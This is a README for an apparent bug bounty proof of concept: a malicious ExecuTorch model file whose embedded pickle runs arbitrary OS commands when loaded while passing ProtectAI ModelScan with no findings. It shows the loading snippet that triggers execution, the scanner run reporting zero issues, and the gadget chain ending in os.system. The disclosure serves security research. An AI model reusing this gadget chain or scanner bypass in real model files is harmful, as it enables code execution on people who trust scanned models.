README.md

metadata

license: mit
tags:
  - security
  - pickle
  - executorch
  - proof-of-concept

ExecuTorch ACE Scanner Bypass PoC

Huntr Bug Bounty - Model File Formats (ExecuTorch / ProtectAI ModelScan)

bypass_v5.pte is a 395-byte malicious ExecuTorch model file that:

1. Executes arbitrary OS commands via pickle.loads(archive/data.pkl)
2. Passes ProtectAI ModelScan v0.8.8 PickleUnsafeOpScan with zero detections (total_issues: 0, exit 0)

Structure

bypass_v5.pte  (ZIP archive)
+-- archive/version    (2)
+-- archive/data.pkl   (v5 gadget-chain pickle <- payload)

Reproduce

import pickle, zipfile
with zipfile.ZipFile('bypass_v5.pte') as z:
    result = pickle.loads(z.read('archive/data.pkl'))
# ACE fires, os.system returns 0

Scanner Bypass

modelscan scan -p bypass_v5.pte -r json
# result: total_issues=0, issues=[], exit 0

Gadget Chain

importlib.import_module -> builtins.vars -> operator.getitem -> os.system